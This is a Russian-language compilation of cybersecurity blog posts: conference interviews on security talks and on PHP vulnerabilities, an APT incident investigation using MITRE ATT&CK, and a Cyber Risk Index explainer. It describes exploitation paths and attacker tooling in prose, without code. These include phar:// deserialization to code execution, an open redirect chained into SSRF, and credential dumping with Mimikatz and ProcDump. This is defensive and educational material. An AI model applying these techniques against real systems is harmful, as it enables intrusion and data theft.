Кибербезопасность

Миллионы запросов в секунду. Сотни серверов с десятками ядер и терабайтами оперативной памяти. Много пользователей и данных. И их становится всё больше. Да, это всё HighLoad. Но HighLoad не только это.

В основе хороших высоконагруженных систем лежит тщательно спроектированная архитектура. Благодаря этому, системы постоянно масштабируются, а их ресурсов хватает для работы с текущими нагрузками. И тогда HighLoad-конференции не превращаются в дискуссии Как сэкономить на ресурсах при штатно выросшей нагрузке или Куда девать все имеющиеся у нас мощности.

Но что насчет безопасности и защиты данных при высоких нагрузках? Что думают разработчики и эксперты о внешних угрозах, которые тоже могут вывести систему из строя? О сохранении данных, их правильной передаче и использовании? Артём Гавриченков в Программном комитете отвечает за эту область на конференции HighLoad++. Сегодня он расскажет, чем наша долгожданная офлайн-встреча Highload++ Весна 2021 будет интересна и полезна любому разработчику. Доклады на конференции будут и о безопасности, и о шифровании, и о биометрии, и, конечно, о многих других смежных с безопасностью темах.

Артем, чем ты сейчас занимаешься и какое отношение имеешь именно к высоким нагрузкам?

На протяжении 10 лет я строил продукт Qrator по защите DDoS-атак. Тут, наверное, сразу понятно, где высокие нагрузки. Последние 5 лет был техническим директором этого продукта, даже больше пяти. В данный момент я директор по продукту в Servers.com это компания, которая занимается предоставлением инфраструктурных решений (bare metal cloud, облачное хранение данных, фаерволы, Managed Kubernetes), то есть опять же решения для больших нагруженных проектов.

Как давно ты в Программном комитете и как ты в него пришел?

Я выступал несколько раз на Highload, начиная с 2011 года. А в 2018-м мы пообщались с Олегом Буниным, и он пригласил меня в ПК как эксперта по защите информации, по высоким нагрузкам в плане DDoS-атак и по масштабируемым системам по сети и инфраструктуре.

Чем тебе нравится быть в ПК? Что это для тебя?

Это возможность пообщаться с очень интересными людьми, высокими профессионалами своего дела, как с членами ПК, так и докладчиками. Вы можете увидеть прямо весь bleeding edge технологий самые модные, и при этом уже немного проверенные в деле. То есть можно узнать, какие направления есть в индустрии, куда это все идет, что появляется каждый год, а на что не стоит тратить время. Программа HighLoad++ сама по себе дает такое понимание людям, поэтому и стоит на него ходить.

А в программном комитете я могу дополнительно пообщаться со всеми докладчиками. Конференция идет всего 2 дня, хоть и в несколько потоков при всем желании вы не успеете со всеми пообщаться. А у членов ПК есть возможность общаться с интересными докладчиками на протяжении полугода, пока мы отбираем доклады, а потом помогаем спикерам готовиться к выступлению. То есть здесь я снова получаю полный обзор всех актуальных технологий, которые существуют и появляются. Это, в том числе, и инструмент поддержания собственной компетентности и уровня awareness по технологиям.

Какие темы нас ждут в разделе безопасности в этом году на конференции?

В первую очередь, мы говорим про крупные системы, которые выдерживают серьезные нагрузки, то есть хорошо спроектированные системы. В рамках проектирования, создания архитектуры системы, написания кода необходимо решать и вопросы безопасности.

Безопасность это, как правило, дополнительные проверки и дополнительная нагрузка, в частности, криптография, проверка вводимых данных, проверка аутентификации хостов и т.д. Поэтому надо учитывать эти вопросы еще на этапе проектирования системы. Добавить безопасность потом в систему, которая уже работает, может быть очень сложно.

Также будет тема защиты систем управления базами данных (СУБД), отвечающая на не совсем тривиальные вопросы. Как усиление безопасности БД влияет на производительность? Что, если мы хотим применять защищенные соединения? Что, если у нас данные нужно хранить в зашифрованном виде? Как организовать аудит?

Еще будет близкая к этому тема шифрования соединений. Сейчас практически все соединения в интернете от браузера или мобильного приложения до сервера надежно шифруются, но криптография всегда повышает нагрузку. У нас будет Александр Крижановский (Tempesta Technologies) с рассказом о том, как написать быстрый TLS-хендшейк в ядре Linux. Это такой хендшейк, который эффективней на десятки процентов, чем стандартное решение он дает меньшее время задержки, то есть готов работать под большой нагрузкой.

Будет доклад от РТЛабс про единую биометрическую систему. Это мультивендорная система, которая обеспечивает возможность работы с любыми модальностями биометрии (лицо, голос и т.д.). Биометрия в последнее время в России это очень активный хайп, развертывание биометрической аутентификации в приоритете у правительства. И конечно, у людей есть опасения, как это может работать и что может пойти не так вопрос на самом деле серьезный. Поэтому мы включили в программу этот доклад, чтобы люди, кому важно и/или интересно устройство единой биометрической системы, могли узнать, как она работает.

Система РТЛабс рассчитана на 150 млн человек, и этого должно хватить для 136 миллионов россиян. Хотя в реальности, конечно, будет меньше. Но, с другой стороны, может быть, ее удастся расширить и на таможенный союз, например, на Беларусь.

Будут ли какие-нибудь новинки в решении известных задач безопасности?

На эту тему будет доклад от Касперского про быстрое детектирование спам-писем. Проблеме спама столько же лет, сколько электронной почте. Она никуда не уходит, с годами становится сложнее, потому что, например, Gmail или Яндекс собирают почту в большом объеме и более-менее умеют детектировать спам с минимальным количеством ошибок первого и второго рода. Но в финале это приводит к ситуации как с Ковидом. Иммунитет летучих мышей совершенно адский он выжигает вирусы каленым железом! Это очень стойкое животное. Но по каким-то эволюционным причинам эта иммунная система выборочно оставляет некие вирусы, которые летучей мыши уже вреда не причиняют, но там живут.

Так вот мы в спаме получаем ровно такую же ситуацию. Google, Яндекс и прочие гиганты выпалывают спам, который легко детектировать, но самый адский и хардкорный остается. Например, в той же корпоративной почте у нас нет доступа ко всему тому объему данных, и поэтому у нас не получается спам фильтровать так же просто. Никакие простые методы давно не работают, поскольку спам, который умеет обходить Google, он и нас обходит очень легко.

Хочу заметить, что проблема спама никогда никуда не уйдет. Есть даже категория шуток в IT-сообществе про Final Ultimate Solution to the Spam Problem. Примерно раз в год в каких-нибудь списках рассылки появляется человек, который утверждает, что он нашел уникальное полное решение проблемы спама и чего на практике никогда не случается.

Поэтому на рынке есть продукты для решения этой задачи до определенного уровня качества это лучше, чем есть сейчас. И одно из них от Касперского докладчик расскажет, как оно устроено внутри, какие были сложности, как они подошли к этой задаче и какие результаты получились.

Слушателям конференции это может быть интересно еще и потому, что это система, которая действительно работает под нагрузкой. И под этой нагрузкой умудряется на каждом миллионе спам-писем отрабатывать развесистые алгоритмы, интересные подходы.

Какие доклады, не связанные с безопасностью, тебе интересны самому?

По смежной теме будет доклад Василия Сошникова про API Gateway. Эта технология реально популярный хайп последних лет. Она очень часто встречается, в том числе, в over-engineering проектах. Поэтому в докладе будет обзор концепции и того, какие плюшки это нам дает и какие сложности возникают в эксплуатации. Что поможет найти ответ на вопрос: для нашего проекта API Gateway это полезный момент или просто хайп, на который не нужно тратить время?

Это действительно интересно. А ты сам на HighLoad++ собираешься посетить только то, что описал, или тебя интересуют еще какие-то доклады и мероприятия?

Уже принято 75 докладов, и есть, конечно, интересные и не только про безопасность. Например, доклад Сбербанка про борьбу с TCP Incast. Это как раз инфраструктурная часть как устроены центры обработки данных и как устроена сеть на большом проекте. Там возникают разные проблемы.

Очень интересная тема про маршрутизацию Яндекса каким образом Яндекс маршрутизирует машины, и как он это делает таким образом, чтобы экономить своим клиентам деньги, в том числе коммерческим компаниям (доставка документов, товаров и пр.). Правильным образом выстроенная простая оптимизация алгоритма начинает экономить клиентам по 100000 рублей в месяц.

Ты часто бываешь на конференциях?

С 2017 года я не пропускал ни одного HighLoad++, в том числе ни одного питерского, и ни одного РИТа, правда, в Сибирь я не ездил ни разу.

Ты сам предпочитаешь онлайн или офлайн?

Офлайн, конечно, потому что нам за год никому так и не удалось достойно заменить офлайн конференции. Онлайн это хорошо как дополнение, но очень многие офлайн-плюшки просто невозможны в онлайн-режиме: нетворкинг, например, или возможность реально познакомиться с интересными людьми вплотную, то есть выйти на какой-то уровень доверия.

Когда ты сам выступал в качестве спикера, что самое важное в построении докладов? Какие-то фишки есть, чтобы выступление было запоминающимся и интересным?

Структура это должно быть выстроено обязательно, над ней нужно очень плотно работать. Обязательно делать прогоны с таймингом и пониманием того, сколько времени будет потрачено и какие вещи нужно сказать обязательно. И крайне желательно иметь примеры из жизни, потому что примером можно показать намного больше. Один пример стоит десятка слайдов.

Доклад не должен быть комедийным. Если посмотрим, например, боевики последних лет (Мстители и т.д.), увидим, что там много времени уходит на юмор, перебивки, прибаутки и прочие штуки. То есть доклад не должен быть совсем уж развлекательным, но крайне желательно, чтобы часть entertainment в нем тоже присутствовала.

Что такое Highload лично для тебя? Как бы ты описал его человеку, который не член ПК, а просто приходит туда по собственному желанию?

Это уникальное сообщество профессионалов, специалистов в своем деле, работающих над уникальными по мировым меркам онлайн-проектами. Плюс возможность обменяться опытом с этими профессионалами. Большинство из них открыты для общения.

Конференция HighLoad++ 2021 пройдет уже 17 и 18 мая в Москве, в Крокус-экспо. Сейчас открыт дополнительный прием докладов по новым темам. Если вы хотите поделиться тем важным и интересным, что вы нашли, разработали и открыли во время онлайна в пандемию мы вас ждем!

Билеты можно купить здесь. И да, цена с 30 апреля вырастет, для решения осталось 2 недели.

Подписывайтесь на наши новости о конференции, чтобы быть в курсе всех изменений, новинок и интересностей!

Телеграм здесь и здесь, FaceBook, VK, Twitter.

Какие уязвимости можно найти в типичном PHP-проекте? Удивительно, но любые от слабых мест и уязвимостей в коде никто не застрахован. Чем быстрее мы их найдем, тем меньше риск для компании. Но чем лучше будем понимать, как можно атаковать наше приложение и как взаимодействуют друг с другом наши фичи, тем легче будет защитить код еще на уровне разработки. Тем более, что в PHP есть свои специфичные уязвимости те же type juggling, insecure deserialization и local file include.

Чтобы повысить уровень безопасности кода, полезно думать как хакер и тестировщик одновременно, проверяя все возможные лазейки в коде. Сканеры уязвимостей, SSL-сертификаты, аудиты и прочие многочисленные инструменты защиты будут хорошим дополнением. О том, как всё это совместить, Антон Прохоров рассказал в нашем интервью. На конференции PHP Russia 2021 Антон представит в докладе уязвимости PHP-приложений и способы их эксплуатации.

Антон, как ты вообще попал в такую интересную сферу, как безопасность?

Еще в МИФИ на факультете информационной безопасности я увлекся практическими кейсами, а на старших курсах мы с однокурсниками стали бывать на профильных конференциях (Positive Hack Days, ZeroNights). А потом увидели финал соревнований CTF по практической информационной безопасности, заинтересовались и тоже создали команду для участия.

Как ты встретился с PHP? И чем занимаешься сейчас?

С PHP была связана моя первая работа я разрабатывал модули для сайта на Drupal. Но безопасность не завязана на один язык программирования, поэтому и на соревнованиях они были совершенно разные так что я никогда не был привязан ни к PHP, ни к другому конкретному языку. Участие в соревнованиях в итоге так меня увлекло, что я захотел работать в кибербезопасности и так пришел в BI.ZONE.

Что именно ты делаешь в BI.ZONE? Как участвуешь в анализе?

BI.ZONE предлагает много разных услуг: анализ защищенности приложений, инфраструктуры, реагирование на инциденты безопасности, и еще множество всего. Я занимаюсь поиском уязвимостей в приложениях заказчиков, а также участвую в тестированиях на проникновение. В случае с приложениями, нам предоставляют доступ, исходный код, какие-то тестовые стенды, учетные записи. Мы всё это смотрим, стараясь обеспечить полное покрытие всех функций, и в конце выдаем отчет: какие уязвимости нашли, и как можно их исправить. При тестировании на проникновение заказчик дает нам большой список внешних ресурсов компании, мы анализируем их, пытаемся найти уязвимости и с помощью них проникнуть во внутреннюю сеть компании. В таких проектах мы не стараемся полностью все проверить, а ищем самые уязвимые сервисы и используем баги в них.

И ты, помимо PHP, для каждого нового проекта изучаешь новый язык?

Приходится. Конечно, не на том уровне, на котором его знают разработчики, но какие-то базовые штуки надо знать, чтобы просто понимать где что находится в коде. То есть, когда я вижу HTTP-запрос на сайте, я должен примерно представлять, где найти код, который обрабатывает этот запрос. Такие вещи нужно знать, как и какие-то уязвимые конструкции в каждом языке. Приходится, конечно, достаточно часто менять стек сегодня ты с PHP разбираешься, завтра с .NET, послезавтра с Java, и т.д.

Насколько больше или меньше уязвимостей у PHP по сравнению с другими языками? Какие они?

Если говорить про интерпретатор языка и стандартные библиотеки, то так как они написаны на C, то в их коде часто обнаруживаются баги, связанные с управлением памятью и различными переполнениями, которые иногда могут приводить к уязвимостям. Больше их или меньше чем в интерпретаторах других языков я не возьмусь сравнивать. Из примеров можно вспомнить уязвимость PHP-FPM и unserialize. Но это довольно редкие и специфичные случаи.

Что касается приложений, написанных на PHP, то тут, наверное, ответ простой. Если пишешь безопасно, то будет безопасно. Если программист в курсе обо всех нюансах языка, что-то читал о безопасной разработке и знает, какие уязвимости есть в PHP (и как их избежать) его код, скорее всего, будет безопасным. Но это не зависит от конкретного языка. Просто в PHP исторически так сложилось, что нюансов много, и о них стоит знать.

Например?

Например, до 8 версии PHP, если при обращении к любому файлу использовать схему "phar://", интерпретатор будет воспринимать содержимое файла как Phar-архив: попытается найти в нем метаданные и десериализовать их. Если ваше приложение принимает от пользователей путь до файла и не проверяет схему, то это может в некоторых случаях привести к возможности исполнения произвольного кода на вашем сервере. Про такие нюансы я и хочу рассказать на конференции, показав примеры.

Если в PHP таких нюансов много, можно ли сказать, что он в целом более уязвим, чем другие языки?

Возможно, из-за того, что PHP в целом популярный язык, создается впечатление, что в приложениях, написанных на нем, уязвимостей больше. Но это, отчасти, обусловлено статистически: по различным данным около 50% сайтов из топ миллион используют PHP, никакой другой язык по этим показателям с ним не сравнится.

Также PHP имеет более низкий порог вхождения: не нужен никакой фреймворк, достаточно создать PHP файл и вот уже можно обрабатывать запросы и запрашивать данные из базы. Это привлекает большое количество разработчиков, многие из которых, не обладая достаточными знаниями в области безопасности, могут написать уязвимый код. В целом, из-за всего этого, наверное, и кажется, что уязвимостей в приложениях на PHP больше.

По твоему опыту, насколько PHP-разработчики заботятся о безопасности?

Я читаю, по большей части, только тот код, который нам предоставляют заказчики. И они уже, в основном, что-то знают о безопасности, раз хотят, чтобы их проверили. Но в целом мне кажется, что тенденция на более безопасный код. Если раньше еще можно было найти простейшую SQL-инъекцию, то сейчас это уже гораздо реже происходит, обычно обнаруживаются более сложные баги и цепочки уязвимостей.

Пример цепочки можешь привести?

Например, приложение позволяет делать скриншоты веб-страниц: мы отправляем адрес страницы и в результате получаем картинку. Но при этом на сервере проверяется, что переданный нами адрес имеет домен example.com. А теперь, предположим, что мы нашли на сайте example.com уязвимость Open Redirect, позволяющую сформировать ссылку с доменом example.com, которая при открытии будет перенаправляться на произвольный адрес, например, localhost. И вот у нас уже есть возможность делать скриншоты страниц с localhost.

Что-то еще может помочь коду быть безопасным, кроме самообразования программистов?

Здесь, наверное, ничего нового не скажу. Нужно, чтобы заказчики и разработчики заботились о безопасности еще на этапе проектирования приложения, чтобы тестирование безопасности было включено в жизненный цикл разработки ПО. Проверки безопасности нужно внедрять в процесс разработки новых фич, чтобы не было так, что разработали все приложение, а после этого провели только аудит. Безопасность это все-таки процесс. Поэтому тестирование нужно проводить чаще и как можно раньше.

То есть и после того, как сдали проект, нужно время от времени проводить тестирование?

Да, можно добавить одну фичу и проверить ее уязвимостей нет. Добавить другую, и там их нет. Но, возможно, комбинация этих фич может привнести какую-то уязвимость. Проверки там, где это возможно нужно автоматизировать, добавлять в CI/CD сканеры уязвимостей и т.п. И конечно, обучать разработчиков, рассказывать, как писать безопасный код. Все это в совокупности, я думаю, приведет к тому, что приложение будет безопаснее. Но это не я придумал, это известная вещь Security Software Development Lifecycle.

Можно ли полностью автоматизировать проверки по безопасности?

Какие-то вещи да, но не полностью и не всё. Мы, конечно, используем сканеры кода и подобные утилиты, но они несовершенны. Во-первых, у них очень много ложных срабатываний, как false positive, так и false negative то есть они могут и найти то, что не является уязвимостью, и не найти какую-то уязвимость. Поэтому мы всегда проверяем его результаты насколько это вообще уязвимость, и если уязвимость, то можно ли ее эксплуатировать.

А во-вторых, некоторые категории уязвимостей сканеры вообще не находят, и пока нет даже предпосылок, что это когда-нибудь произойдет. Это уязвимости, связанные с конкретной бизнес-логикой приложения. Например, в интернет-магазине есть процесс пользователь кладет в корзину товар и оплачивает его. Только здесь может быть уже множество уязвимостей, которые не являются типовыми, вроде SQL-инъекций или XSS-атак. Это может быть, например, связано с передачей отрицательной суммы или неправильной обработкой скидок и т.п. Такое сканер пока что не может обнаружить, потому что здесь нужно знать контекст: что это за приложение и какие там могут быть угрозы. Таких вариантов может быть много и в других процессах так что нам всегда найдется, что делать.

То есть когда ты читаешь код, то проверяешь также все возможные варианты развития по какому-то процессу?

Во-первых, я пользуюсь уже готовыми методологиями, вроде OWASP. Во-вторых, какие-то типовые атаки я уже знаю из опыта. Плюс я интересуюсь тем, что другие находят так складывается мой справочник Что еще можно проверить? Да и в общем, да я пытаюсь думать как злоумышленник.

Если мы нашли уязвимость и хотим сообщить об этом, как заказчику наладить работу с такими сторонними исследователями безопасности?

В первую очередь, нужно на видное место на сайте добавить контакты или форму для связи: чтобы человек мог обратиться по поводу уязвимости, и чтобы это можно было легко найти. Чтобы не приходилось писать на какой-нибудь ящик компании support@ или sales@ и пытаться связаться с разработчиками или безопасниками это бывает и сложно, и долго.

А второе, если уже компания довольно большая и действительно думает о том, как сделать так, чтобы её продукты постоянно тестировали можно использовать Bug Bounty платформы, те же Hackerone и Bugcrowd. Суть в том, что компания договаривается с платформой, оговаривает скоуп ресурсов, которые будут исследоваться, принимаемые уязвимости и вознаграждение за них. В Bug Bounty участвуют уже много российских компаний Киви, Майл.ру, Яндекс. Можно посмотреть на их примере.

Что не стоит делать в таких случаях при работе со сторонними исследователями?

Я думаю, если вам написали, что у вас уязвимость, не стоит игнорировать такое сообщение. Лучше разобраться в проблеме и ответить.

А правда ли, по твоему опыту, что простые уязвимости самые страшные, а сложные никому особо не нужны?

Думаю, это не так, потому что обычно уязвимости оцениваются по тому, что с их помощью можно сделать. Например, с помощью уязвимости мы можем прочитать данные любого пользователя или получить исполнение команд на сервере и т.п. Чем больше потенциальный ущерб, который может принести эксплуатация уязвимости, тем она и ценнее, за нее больше заплатят на Bug Bounty. А уж сложная она или простая это другое дело. Но, конечно, если она простая, то, возможно, больше людей ее могут найти. И она этим страшнее. Может быть, пока ее обрабатывали на платформе Bug Bounty, уже кто-то из злоумышленников научился ее эксплуатировать. Но в целом, я думаю, что важен именно ущерб от уязвимости, а не простота или сложность.

То есть если большой ущерб ожидается от сложной уязвимости, ее все равно могут использовать?

Да, конечно. Из последнего здесь можно привести в пример довольно сложную цепочку уязвимостей в Microsoft Exchange под названием Proxylogon, которая, как известно, эксплуатировалась злоумышленниками.

А много ли тех, кто может самостоятельно найти новую уязвимость без использования готовых наборов или сканеров?

Если имеется в виду новая уязвимость как класс, то, наверное, единицы. Мы обычно изучаем уже известные классы уязвимостей и применяем эти знания для анализа приложений заказчика. Если же под новой уязвимостью подразумевается просто уязвимость в каком-либо приложении, которую еще не находили, то в целом это как раз то, чем занимаются люди моей профессии.

Какие уязвимости, найденные за твою практику, запомнились тебе больше всего?

Наверное, здесь стоит упомянуть уязвимость, из-за которой я попал на PHP Russia. Я нашел цепочку гаджетов для десериализации в PHP, которая позволяет исполнять код, используя только классы фреймворка Yii2. Это в общем-то проблема не самого фреймворка, а приложения, которое его использует. Но если программисты в приложении десериализуют пользовательские данные, то используя только классы фреймворка, можно получить исполнение команд на их сервере.

Хоть это и не сильно относится к самому фреймворку, я все равно написал разработчикам. Меня порадовало, что откликнулись и исправили. Я как раз общался с Александром Макаровым, как одним из разработчиков фреймворка, и после того общения он пригласил меня выступить на конференции.

На конференции ты собираешься рассказывать как раз о безопасности в коде. Можешь рассказать об этом подробней?

Я расскажу о нюансах PHP, которые стоит учитывать, если мы хотим писать безопасный код. Это специфичные уязвимости конкретно для PHP, не для других языков. Например, в PHP нестрогая типизация, поэтому строки приводятся к числам, числа к строкам, и т.п. Это может вести к разным интересным уязвимостям при сравнении, так как иногда приведение типов происходит не самым очевидным образом. Расскажу и про другие классы уязвимостей, которые есть в PHP. Покажу на примере, как это эксплуатировать, чтобы разработчики знали, что такая конструкция уязвима, и не стоит так писать.

А сам ты впервые выступаешь на конференциях, иди у тебя уже есть опыт? Тебе нравится?

Я выступал, но не очень много. Это довольно волнительно для меня. Но зато приходится более глубоко разбираться в теме, чтобы быть готовым к разным вопросам. Получается, что когда готовишься к выступлению, сам много всего нового узнаешь.

И сам доклад получается по-настоящему классный.

Надеюсь, это будет полезно тем, кто прослушает доклад.

PHP Russia 2021 пройдёт в гибридном формате будет и офлайн, и онлайн. Онлайн-зрители смогут задавать вопросы спикерам в зале, принимать участие в дискуссиях и участвовать в активностях на стендах партнёров.

Мы с нетерпением ждём нашу встречу в офлайне 28 июня 2021 года. До 30 апреля стоимость очного участия составит 27 000 рублей

Подписывайтесь на наши соцсети, чтобы быть в курсе новостей (FB,VK,Telegram-канал,Twitter), общайтесь с коллегами в чате.

Количество способов, которые используют хакерские группировки, чтобы атаковать компании, кажется бесконечным, но на самом деле это не так. Практически все тактики и техники киберпреступников проанализированы и задокументированы в общедоступной базе MITRE ATT&CK. В этом посте мы расскажем о том, как во время расследования реального инцидента использование базы MITRE ATT&CK помогло нам выяснить, какая группировка атаковала компанию-клиента.

Начальный анализ

К нам обратилась компания, один из серверов в сети которой на постоянной основе обменивался данными со сторонним интернет-сервером. После первичного изучения выяснилось, что этот трафик содержал данные и команды, которыми обменивалось вредоносное ПО с управляющим сервером злоумышленников.

Расследование инцидента оказалось непростой задачей: доступные для изучения данные состояли из журналов событий с конечных точек и серверов, компрометация которых была подтверждена, а у нашей группы экспертов был доступ только к пяти компьютерам, с которых удалось получить образы дисков и памяти. И у нас не было возможности собрать все возможные образцы программ, выполнявшихся в сети компании.

Мы проанализировали журналы событий и установили, что в сети компании инфицированы 62 компьютера. Среди них были 10 серверов и 13 компьютеров, содержащих утилиты для сбора и отправки файлов, а также 22 компьютера с бэкдор-шеллами. На остальных машинах размещались другие инструменты, используемые в рамках атаки, или приложения для загрузки вредоносных библиотек.

Бэкдор, загруженный через вредоносную DLL, позволяет злоумышленнику выполнять команды через cmd.exe. Для получения учётных записей пользователей использовались утилиты ProcDump и Mimikatz. Полученные учётные записи использовались для подключения к другим компьютерам в сети через IPC и загрузки на них вредоносных компонентов. Их запуск выполнялся либо через добавление задачи в расписание используя Schtasks, либо через создание wmic-процесса.

Основным предметом интереса злоумышленников были файлы PDF и документы MSOffice, причём оказалось, что они присутствовали в системе на протяжении нескольких лет.

Поиск взломщика

Сопоставив техники, которые применяли злоумышленники, с базой MITRE ATT&CK, мы получили два возможных варианта группировки APT3 и APT32.

Чтобы понять, какая из двух группировок провела атаку, нужно было более глубоко изучить инструментарий, использованный хакерами. Для этого мы проанализировали имевшиеся в нашем распоряжении образы пяти компьютеров. Врезультате обнаружилось множество вредоносных инструментов, и мы выяснили, каким образом преступники их применяли.

Все инструменты относились к одной из трёх категорий:

• сбор и передача данных,

• бэкдоры,

• вспомогательные утилиты.

Рассмотрим состав каждой из этих категорий.

Сбор и передача данных

Утилита архивации

Это файловый скрепер, задача которого собрать файлы с заданными расширениями в отдельную папку, сохраняя исходную структуру каталогов, а затем упаковать эти файлы в RAR-архив с паролем. Имя файла архива состоит из даты и времени. После создания архива исходные файлы удаляются.

Утилита передачи данных

Принимает в качестве параметров путь к папке, созданной утилитой архивации, IP-адрес и порт управляющего сервера, а также количество потоков для работы; может рекурсивно отправлять все файлы из заданной папки и подпапок. Для каждого отправляемого файла программа создаёт отдельный поток. При указании дополнительного параметра файл после отправки может быть удалён. Вместе с файлом на управляющий сервер отправляются метаданные, содержащие имя заражённого компьютера и имя пользователя, от имени которого запущен процесс. Передаваемые файлы шифруются с паролем при помощи XOR.

Загрузчик файлов

Этот инструмент загружает файл по URL и записывает его на локальный диск. Изначально основной функцией этого инструмента является загрузка дополнительных утилит на заражённую машину. Однако более внимательное изучение показало, что с его помощью взломщики загружали по сети компании документы, в частности, PDF-файлы.

PowerShell-скрипт для взаимодействия с MySQL

Используется для получения данных из базы MySQL. Скрипт принимает строку соединения, которая включает в себя сервер, UID, пароль и имя базы данных, а также строку SQL-запроса, который нужно выполнить. Запуск скрипта выглядит следующим образом:

Изучение параметров командной строки, которые передавали этому инструменту злоумышленники, показало, что они располагали сведениями обо всех серверах БД, административных учётных записях, именах БД, а также о структуре хранящихся в них данных. Во всех наблюдаемых случаях использовались запросы для получения записей документов по дате или идентификатору записи. Результаты запроса записывались в CSV-файл. Полученная из БД информация передавалась загрузчику файлов, который загружал её в папку сохранения утилиты архивации.

FTP-архиватор

Этот инструмент отличается от утилиты архивации тем, что вместо копирования файлов во временную папку он сохраняет полные пути к ним в текстовый файл. Закончив эту процедуру, архиватор запускает встроенный 7-Zip и создаёт архив, который затем шифрует простым XOR-ключом. Файл отправляется на FTP-сервер, заданный в командной строке. Отправленный файл удаляется, чтобы скрыть факт хищения.

Бэкдоры

Мы обнаружили пять вариантов утилит-бэкдоров, которые позволяли злоумышленникам выполнять команды с помощью cmd.exe. Как правило, трафик между бэкдорами и управляющим сервером, шифровался. Некоторые бэкдоры выполняли команды непосредственно, другие добавляли полученные от управляющего сервера задания в службы расписания.

Помимо традиционных бэкдоров, в сети компании обнаружился веб-шелл, внедрённый на сайт под управлением Apache. Этот веб-шелл позволял выполнять следующие команды:

Вспомогательные инструменты

Помимо бэкдоров и средств для сбора и хищения данных, преступники применяли различные вспомогательные утилиты. Наиболее часто среди них встречались:

• файловый дроппер TROJ_CHINOXY.ZAGK, который помещал в папку автозагрузки легитимную утилиту с вредоносной dll;

• Procdump утилита для дампа памяти системного процесса LSASS;

• Mimikatz утилита для извлечения паролей к учётным записям залогиненных пользователей;

• NBTScan сканер серверов и компьютеров с открытыми сетевыми папками.

Взаимодействие инструментов

Помимо собственно набора использованных хакерами инструментальных средств важное значение имеет то, каким именно образом они применяли их в ходе инцидента. Это позволяет найти характерные для тех или иных группировок шаблоны действий и повысить точность определения автора атаки.

Всего нам удалось выявить четыре базовых и два комбинированных шаблона использования вредоносного инструментария. Например, сценарий с использованием файлового дроппера выглядел следующим образом:

Этот сценарий начинался с загрузки комплекта, состоящего из скрипта, легитимного приложения и вредоносной dll. По завершении загрузки сценарий запускал легитимную утилиту, которая в свою очередь загружала вредоносную dll. Получив управление, dll работала как бэкдор-шелл, помещая в автозагрузку Procdump и запуская утилиту передачи собранных в системе файлов на управляющий сервер.

Наборы для взлома

Изучив инструменты и сценарии их использования, мы обнаружили, что по-прежнему не можем однозначно идентифицировать группировку, которая проникла в сеть компании, так как многообразие инструментов и тактик было слишком велико для двух кандидатов во взломщики, которых мы установили.

Например, функциональность бэкдоров была примерно одинакова, но языки, на которых они написаны, различались. Различными были также способы обеспечения постоянного присутствия в системе. Инструменты для сбора и передачи данных также дублировали функции друг друга, а у некоторых они даже имели встроенные бэкдоры.

Проанализировав все несоответствия, мы выделили четыре набора для проникновения, использованных взломщиками.

Набор 1

В него входили дроппер, dll с бэкдором и инструмент для сбора и передачи данных по FTP. Все утилиты использовали китайский язык.

Lotus Blossom

Второй выявленный набор инструментов мы уже встречали в ходе других наших расследованиях. Его использовала группировка Trip, входившая в состав Lotus Blossom. Функциональность этого набора богаче, чем у набора1:

Набор 2

Это новый набор, который мы не встречали ранее и не наблюдали ни у одной из задокументированных APT-группировок. Набор включает утилиту архивации, которая создаёт RAR-архив. Вторая утилита перемещает созданный архив в папку для отправки на управляющий сервер. Практически все утилиты набора содержат вредоносную dll, которая загружается через легитимное приложение. Отличительной чертой этого набора является чрезвычайно богатый набор тактик, применяемых злоумышленниками.

OceanLotus

Этот набор инструментов наиболее часто применяется одноимённой группировкой, известной также как APT32. Он содержит минимально необходимые средства для проведения атаки, причём различные функции объединяются в составе одной утилиты. Например, бэкдор из этого набора помимо выполнения команд от управляющего сервера умеет собирать и архивировать файлы.

Присутствие OceanLotus в наборах явзломщиков подтверждало нашу версию об участии группировки APT32 в атаке на организацию. Кроме того, этот набор отличался от других тем, для расшифровки переданных на командный сервер образцов требовалось имя хоста и имя пользователя.

Итоги

Изучая инцидент, группа исследователей должна иметь возможность взглянуть на то, что происходит в сети компании на макроуровне. Одна из задач атакующих скрыть свои действия, распределяя их по нескольким утилитам и по разным машинам, поэтому поиск связей между инструментами обеспечит аналитикам более полное представление об атаке и её деталях.

Для поиска таких подключений существенно помогли бы инструменты, обеспечивающие видимость того, что происходит в сети, а также любых подозрительных процессов. В описанном случае, например, были трудности с идентификацией sideloaded-DLL.

Для эффективной идентификации комплектов вторжений, основанных на методике MITRE, установленная в компании система мониторинга должна перехватывать и регистрировать как можно больше событий. В нашем случае это позволило выделить две группы в качестве подозреваемых в атаке, а затем оставить наиболее вероятного организатора. Достаточно было сравнить найденные инструментов с известными инструментами, применяемыми APT, а также сгруппировать наборы инструментов на базе их взаимоотношений. Эти два подхода дополняют друг друга, поскольку некоторые из инструментов могут использоваться в различных наборах вторжения.

Процесс изучения защищённости компаний от киберугроз осложняется тем, что отсутствуют какие-либо объективные критерии, по которым можно произвести сравнение. Чтобы решить эту проблему, Trend Micro совместно с Институтом Понемона (Ponemon Institute) разработали индекс киберриска (Cyber Risk Index, CRI) методику оценки защищённости, которая помогает руководителям и командам безопасности сравнить свой уровень защищённости с компаниями-конкурентами. Вэтом посте расскажем о том, как рассчитывается CRI и какие данные необходимы для его расчёта, а также приведём данные CRI за2020год.

Методика

Поскольку объективных критериев, показывающих уровень защищённости компании от кибератак, пока не разработано, для построения индекса киберриска мы используем опрос, который проводится среди профессионалов в области ИТ и ИБ. В 2020 году в состав включили респондентов из стран Европы и Азиатско-Тихоокеанского региона, что позволяет говорить о том, что CRI2020 стал глобальным. Результаты опроса и стали основой индекса, который отражает готовность компаний реагировать на кибератаки.

Для построения индекса мы использовали ответы 2795респондентов, что составляет 4,1% от общего числа опрошенных в рамках выборки 67679человек. Ответы 211респондентов были исключены из окончательной выборки из-за недостаточной надёжности.

33%ответов мы получили от компаний, в которых работает менее 100человек. Ещё 33% ответов от компаний со штатом от100 до999работников, а остальные 35% из более крупных компаний, в которых трудится 1000 и более человек.

Отраслевая классификация респондентов включает 15секторов. Наиболее крупные из них:

• финансовые услуги 13%,

• здравоохранение и фармацевтика 10%,

• услуги 9%,

• промышленность/производство 9%,

• розничная торговля 9%,

• технологии и программное обеспечение 9%.

Расчёт CRI

Индекс киберриска рассчитывается как разность между индексом киберготовности (cyber preparedness index) и индексом киберугроз (cyber threat index). При этом индекс киберготовности показывает, каков уровень подготовленности организации к защите от кибератак, а индекс киберугроз представляет состояние ландшафта угрозы на момент расчёта CRI.

